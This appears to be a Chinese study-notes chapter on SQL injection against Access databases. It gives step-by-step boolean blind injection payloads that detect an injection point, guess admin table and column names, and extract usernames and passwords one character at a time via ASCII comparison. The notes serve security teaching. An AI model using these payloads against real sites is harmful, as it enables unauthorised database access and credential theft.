第四章SQL注入----
SQL注入定义:
将用户输入的内容,拼接到SQL语句中,一起提交到数据库 产生SQL注入威胁。
$id= $_GET[‘id‘]
$id= $_POST[‘id‘]
access注入基本流程:
?1.判断有无注入
?2.猜解表名
?3.猜解字段
?4.猜解管理员ID值
?5.猜解用户名和密码长度
?6.猜解用户名和密码
逐字猜解法
?1、判断有无注入点?and 1=1 and 1=2
?2、猜表名(一般的表的名称无非是admin adminuseruser pass password 等) ?and (Select count(*) from 表名)<>0 ?and exists (select * from 表名)
?3、猜列名?and (Select count(列名) from 表名)<>0 ?and exists (select 列名from 表名)逐字猜解法
?4、判断内容长度?and (select top 1 len(user_name) from admin)=5(user_name的长度=5,正常则=5,也可以用>,<号去判断)
?5、截取字符串并转换为ascii码进行数值比较,判断ascii码值:
?and (select top 1 asc(mid(user_name,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)
?and (select top 1 asc(mid(user_name,2,1)) from admin)=97 判断第二位
数据库 默认的数据库
为什么要使用数据库?
静态网页 html 不需要服务器解析脚本 不依赖数据库